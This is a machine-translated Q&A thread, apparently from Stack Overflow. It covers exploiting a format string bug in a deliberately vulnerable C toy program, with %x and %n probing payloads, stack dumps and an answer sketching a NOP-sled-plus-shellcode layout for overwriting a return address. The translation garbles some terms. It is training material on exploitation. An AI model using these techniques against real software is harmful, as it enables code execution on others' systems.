8

はい、かなりの数の同様の質問が既に存在します (5037601、19166698、4855162、14505995、5052648、13409508、7745146、7459630; 申し訳ありませんが、2 つ以上のリンクには十分な担当者がいません)。こと(クリッククリック、http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html)。私はそれらを読んで、大まかな考えは理解できたと思いますが、考えられる最も簡単なトレーニング おもちゃの例をうまく活用できていません。

#include <stdio.h>

void f(char* a)
{
    printf("a: %p\n", &a);
    printf(a);
    return;
}

void main(int argc, char** argv)
{
    f(argv[1]); //please ignore the lack of any check
    return;
}

はい、スタックは実行可能であり、メモリ レイアウトのランダム化は無効になっています。実行するたびに、 の同じアドレスが得られますa。たとえば$ ruby -e 'print "AAAA"+("%08x."*16)'、それをフィードできます。その結果、次のようになります。

a: 0xbfffece0
AAAAbfffece0.bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.bfffecf0.00000fff.b7fd8420.00000000.41414141.78383025.3830252e.30252e78.252e7838.

これで、入力がメモリ内のどこにあるかを確認できます。を使用してスタックに値を書き込むことができます$ ruby -e 'print "12345%n"+("%08x."*16)'。その結果、次のようになります。

a: 0xbfffece0
12345bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.00000005.00000fff.b7fd8420.00000000.34333231.256e2535.2e783830.78383025.3830252e.30252e78.

明らかに、私の最終的な目標は、プログラムが NOP スレッドにジャンプしてシェルコードを実行するよう<something><NOPs><shellcode>に、<something>の戻りアドレスを上書きするようなものになると思われます。fしかし、保存された差出人住所の住所は、今の私の入力に依存しているようですよね? 0xbfffece0 - len(input) - 1212バイトのプロローグを想定して、に似た何か?結局のところ、この例は最も簡単ではないかもしれません...

私は混乱しています。何か案は?

4

2 に答える 2

0

「%08x」形式の文字の長い文字列を使用して、入力の正しい「%n」値を見つけ、リターン アドレスを上書きすることをお勧めします。

12345%n%08x%08x%08x%08x........%08x%08x

次に、'%08x' 文字列の一部を NOP スレッド + シェルコードに置き換えて入力を変更し、入力の長さを同じに保つことができます。

12345%n\x90\x90\x90\x90...\x90\x90SHELLCODE

(正しい値を書き込むために、必要に応じて上記の %n 書式指定子を変更します)

これにより、入力のサイズが確保されるため、保存されたリターンアドレスの場所は変わりません。

于 2014-02-03T08:53:46.820 に答える